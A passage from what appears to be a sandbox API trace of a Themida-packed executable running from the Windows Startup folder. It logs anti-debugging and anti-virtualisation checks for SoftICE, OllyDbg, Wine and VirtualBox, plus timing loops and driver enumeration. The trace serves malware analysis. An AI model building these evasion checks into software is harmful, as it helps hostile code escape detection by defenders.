flAllocationType=0x1000, flProtect=0x4) returned 0x20000 [0259.422] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0259.424] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x758a0000 [0259.561] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74fa0000 [0259.561] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77350000 [0259.561] GetLocalTime (in: lpSystemTime=0x61182b | out: lpSystemTime=0x61182b*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x36, wMilliseconds=0x2e3)) [0259.564] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.567] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.570] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.571] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " [0259.574] GetVersionExA (in: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.574] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.574] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.575] GetProcAddress (hModule=0x75590000, lpProcName="GetNativeSystemInfo") returned 0x755b10b5 [0259.575] GetNativeSystemInfo (in: lpSystemInfo=0x61f9b0 | out: lpSystemInfo=0x61f9b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0259.575] GetVersion () returned 0x1db10106 [0259.576] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.578] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.578] timeGetTime () returned 0x4b13 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b14 [0259.579] timeGetTime () returned 0x4b15 [0259.579] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.580] timeGetTime () returned 0x4b15 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b16 [0259.581] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.582] timeGetTime () returned 0x4b17 [0259.765] GetVersionExA (in: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.765] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.765] CloseHandle (hObject=0x0) returned 0 [0259.765] CloseHandle (hObject=0x0) returned 0 [0259.765] CloseHandle (hObject=0x0) returned 0 [0259.768] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60 [0259.768] CloseHandle (hObject=0x60) returned 1 [0259.768] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r--- Themida Professional ---\n\r--- (c)2012 Oreans Technologies ---\n\r------------------------------------------------\r\n\n\n") [0259.770] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0259.771] GetCurrentProcessId () returned 0x558 [0259.771] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77350000 [0259.771] GetProcAddress (hModule=0x77350000, lpProcName="NtOpenThread") returned 0x77371128 [0259.771] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.772] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.772] timeGetTime () returned 0x4bca [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x68 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x70 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x74 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x80 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x84 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x88 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x8c [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x94 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x98 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa0 [0259.772] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0259.772] timeGetTime () returned 0x4bca [0259.779] GetForegroundWindow () returned 0x10058 [0259.779] GetWindowTextA (in: hWnd=0x10058, lpString=0x669b94, nMaxCount=100 | out: lpString="Start") returned 5 [0259.785] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.785] RegQueryValueExA (in: hKey=0xa8, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x53, lpcbData=0x6740e7*=0x1e) returned 0x0 [0259.785] RegCloseKey (hKey=0xa8) returned 0x0 [0259.785] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.785] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.785] RegQueryValueExA (in: hKey=0xa8, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x200) returned 0x2 [0259.786] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.786] RegCloseKey (hKey=0xa8) returned 0x0 [0259.786] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0 [0259.786] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0 [0259.786] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0 [0259.786] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xb0 [0259.794] Process32First (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.795] Process32Next (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.795] CloseHandle (hObject=0xb0) returned 1 [0259.795] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.795] CreateFileA (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0xb0 [0259.796] SetFilePointer (in: hFile=0xb0, lDistanceToMove=65224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfec8 [0259.796] ReadFile (in: hFile=0xb0, lpBuffer=0x67fa81, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x67faa1, lpOverlapped=0x0 | out: lpBuffer=0x67fa81*, lpNumberOfBytesRead=0x67faa1*=0x20, lpOverlapped=0x0) returned 1 [0259.796] CloseHandle (hObject=0xb0) returned 1 [0259.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18ff30, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18ff30, ReturnLength=0x0) returned 0x0 [0259.796] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.797] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.797] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.797] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0259.798] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0259.801] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0259.801] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0259.802] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0259.803] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0259.803] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0259.804] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0259.805] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0259.806] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 